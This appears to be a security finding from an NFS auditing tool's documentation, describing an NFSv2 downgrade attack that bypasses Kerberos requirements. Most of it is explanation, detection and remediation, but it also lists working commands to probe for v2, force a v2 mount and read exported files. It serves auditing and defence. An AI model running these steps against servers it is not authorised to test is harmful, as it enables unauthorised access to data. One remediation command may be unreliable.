F-1.6: NFSv2 Protocol Downgrade Attack¶
Classification¶
- Severity: High
- CVSS Vector: Network / Low Complexity / No Auth Required
- Affected Versions: Servers supporting NFSv2 alongside NFSv3/v4
- Prerequisite: Server still accepts NFSv2 connections (common on legacy systems)
Summary¶
NFSv2 (RFC 1094) predates even the limited security mechanisms of NFSv3. It has no AUTH flavor negotiation, no READDIRPLUS, and many implementations process NFSv2 requests with even fewer access control checks than v3. By explicitly requesting version 2 during mount (-o vers=2), an attacker may bypass security features that only exist in v3+ while still accessing the same exported data.
Technical detail¶
Why NFSv2 is weaker¶
| Feature | NFSv2 | NFSv3 | Impact |
|---|---|---|---|
| Auth negotiation | None — just sends credential | Mountd returns supported flavors | No opportunity to enforce krb5 |
| File size limit | 32-bit (2GB) | 64-bit | Limits exfiltration volume only |
| READDIRPLUS | Not available | Returns handles + attrs | Less info per call, but still works |
| Write stability | Synchronous only | UNSTABLE/FILE_SYNC choice | Slower writes |
| Root squash | Implementation-dependent | Well-defined | Some v2 implementations don't squash |
The downgrade attack¶
# Normal v3 mount may enforce sec=krb5:
mount -t nfs -o vers=3 target:/export /mnt
# Error: "permission denied" (server requires krb5 for v3)
# Force v2 — server may still accept AUTH_SYS:
mount -t nfs -o vers=2 target:/export /mnt
# Success! NFSv2 path doesn't check auth flavor requirements
Why it works¶
Many NFS servers configure security on a per-version basis:
- /etc/exports security options (sec=krb5) may only apply to NFSv3/v4 mount requests
- The NFSv2 code path in the kernel may not consult the same security configuration
- Legacy compatibility keeps v2 enabled even when not intended
Exploitation¶
# 1. Check if server supports v2
rpcinfo -p target | grep "100003.*2"
# or
nmap -sV -p 2049 target
# NFSv2 is often listed in the version string
# 2. Mount with explicit v2
mount -t nfs -o vers=2,nolock target:/export /mnt
# 3. Access files (may bypass v3 security settings)
ls -la /mnt/
cat /mnt/sensitive_file
# 4. With nfswolf:
nfswolf shell target:/export --nfs-version 2
Detection and exploitation in nfswolf¶
nfswolf includes a native NFSv2 client (18 procedures via RpcClient::call(100003, 2, ...)) and uses v2 as the preferred downgrade attack path in the always-on credential ladder. When v2 is detected, it is tried as step 1 before any v3/v4 credential manipulation.
Detection: - If v2 is enabled alongside v3/v4: Report as downgrade risk — v2 bypasses v3/v4 auth flavor enforcement - If v2 is the only version: Report as legacy, extremely weak - If v2 is enabled but sec=krb5 is configured for v3: Report as critical bypass
Exploitation:
- Auto-uid step 1 switches to NFSv2 and retries the operation
- If v2 succeeds, nfswolf stays on v2 for the rest of the session — no benefit to v3 when v2 gives unrestricted access
- Handles obtained via v2 are fixed 32-byte (FHSIZE = 32) — export escape uses the same construct_escape_handle() logic with the v2 handle format
Impact¶
- Bypass Kerberos authentication requirements intended for v3/v4
- Access exports that were supposed to be restricted to authenticated clients
- Exploit older, less-hardened code paths in the NFS server kernel module
Detection¶
- Scan for NFSv2 support:
rpcinfo -p target | grep "100003.*2" nmap --script nfs-showmount -p 2049 targetshows version information- nfswolf version matrix already detects this
Remediation¶
- Disable NFSv2: Add
vers2=noto/etc/nfs.conforRPCNFSDARGS="-N 2"in init config - Kernel parameter:
echo 'N' > /proc/fs/nfsd/versions(remove v2 support) - Verify: After disabling, confirm with
rpcinfo -p localhost | grep nfs - NFSv2 should never be needed on any system deployed after ~2005